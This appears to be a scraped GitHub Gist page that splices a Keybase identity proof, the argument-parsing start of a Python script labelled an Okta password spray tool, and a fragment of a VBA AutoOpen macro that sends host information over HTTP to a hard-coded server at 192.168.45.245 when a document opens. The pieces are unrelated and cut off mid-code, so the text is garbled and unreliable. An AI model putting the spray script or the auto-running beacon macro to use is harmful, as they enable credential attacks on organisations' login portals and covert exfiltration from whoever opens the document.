Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am rfc1918-hub on github.
  • I am rfc_1918 (https://keybase.io/rfc_1918) on keybase.
  • I have a public key ASDrth2Wdvb2aTSw75ZuqhyO6y0F4iLWP7PSlB61sfCoJwo

To claim this, I am signing this object:

@RFC1918-hub
RFC1918-hub / oktaSpray.py
Last active June 14, 2023 09:43
Okta password spray script
import sys
import requests
import argparse
from loguru import logger
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--domain", help="The domain of okta.com to attempt the spray upon", required=True)
parser.add_argument("-U", "--usernameFile", help="File containing usernames (newline delimited list) to password spray")
parser.add_argument("-p", "--password", help="Password to spray against usernames", required=True)
parser.add_argument("-ua", "--useragent", help="User-Agent to use for requests. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
Sub AutoOpen()
Dim strServer As String
strServer = "http://192.168.45.245/"
' Send host information to server
Dim objHTTP As Object
Dim strInfoURL As String
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
strInfoURL = strServer & Get_HostInformation